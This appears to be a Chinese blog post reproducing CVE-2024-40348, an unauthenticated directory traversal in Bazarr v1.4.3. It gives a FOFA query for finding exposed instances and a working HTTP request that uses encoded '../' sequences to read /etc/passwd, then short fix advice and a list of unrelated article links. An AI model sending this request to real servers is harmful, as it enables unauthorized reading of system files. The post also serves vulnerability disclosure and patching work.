当前位置： 首页 > news >正文

Bazaar v1.4.3 任意文件读取漏洞复现(CVE-2024-40348)

news 来源：原创 2024/9/20 4:45:06

0x01 产品简介

Bazarr是Sonarr和Radarr的配套应用程序，可根据您的要求管理和下载字幕。

0x02 漏洞概述

Bazarr存在任意文件读取漏洞，该漏洞是由于Bazaar v1.4.3的组件/api/swaggerui/static中存在一个问题，允许未经身份验证的攻击者可利用该漏洞执行目录遍历。

0x03 复现环境

FOFA：title="Bazarr"

0x04 漏洞复现

PoC

GET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

0x05 修复建议 

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【C++ 面试 - 基础题】每日 3 题（十五）
  • PostgreSQL-02-入门篇-查询数据
  • 《全面解析 Nginx：从下载安装到高级应用与问题解决》
  • Linux 操作系统 --- 信号
  • 【项目】基于Vue2+Router+Vant 前端面经项目
  • 你知道Windows下的linux的神器WSL吗？
  • 【VRPCB】Python+Gurobi求解运输问题建模实践三
  • 景联文科技：图像标注的类型有哪些？
  • 【网络安全】SSO登录过程实现账户接管
  • 【网络通信】关于TCP和HTTP
  • 【MybatisPlus】创建Mapper接口继承BaseMapper接口
  • Linux 与 Windows 服务器操作系统 | 全面对比
  • 什么是DevUI？
  • 美股收涨，半导体板块领涨；苹果iPhone出货预测上调
  • 无人机之螺旋桨的安装与维护
  • [PHP内核探索]PHP中的哈希表
  • CentOS7简单部署NFS
  • docker python 配置
  • iOS | NSProxy
  • iOS 系统授权开发
  • JavaScript 基本功--面试宝典
  • js数组之filter
  • Python3爬取英雄联盟英雄皮肤大图
  • Sass 快速入门教程
  • 案例分享〡三拾众筹持续交付开发流程支撑创新业务
  • 今年的LC3大会没了？
  • 码农张的Bug人生 - 初来乍到
  • 使用common-codec进行md5加密
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 跳前端坑前，先看看这个！！
  • 问题之ssh中Host key verification failed的解决
  • 我的业余项目总结
  • 一道闭包题引发的思考
  • 用简单代码看卷积组块发展
  • ​2021半年盘点，不想你错过的重磅新书
  • ​Redis 实现计数器和限速器的
  • ​七周四次课（5月9日)iptables filter表案例、iptables nat表应用
  • ‌分布式计算技术与复杂算法优化：‌现代数据处理的基石
  • ‌前端列表展示1000条大量数据时，后端通常需要进行一定的处理。‌
  • !! 2.对十份论文和报告中的关于OpenCV和Android NDK开发的总结
  • # windows 安装 mysql 显示 no packages found 解决方法
  • # 利刃出鞘_Tomcat 核心原理解析（七）
  • #Java第九次作业--输入输出流和文件操作
  • #QT（TCP网络编程-服务端）
  • (13)Latex：基于ΤΕΧ的自动排版系统——写论文必备
  • （C语言）球球大作战
  • （Redis使用系列） Springboot 使用Redis+Session实现Session共享 ，简单的单点登录 五
  • (vue)el-checkbox 实现展示区分 label 和 value（展示值与选中获取值需不同）
  • （附源码）springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • （论文阅读31/100）Stacked hourglass networks for human pose estimation
  • ../depcomp: line 571: exec: g++: not found
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .bat批处理（五）：遍历指定目录下资源文件并更新
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .NET Standard 的管理策略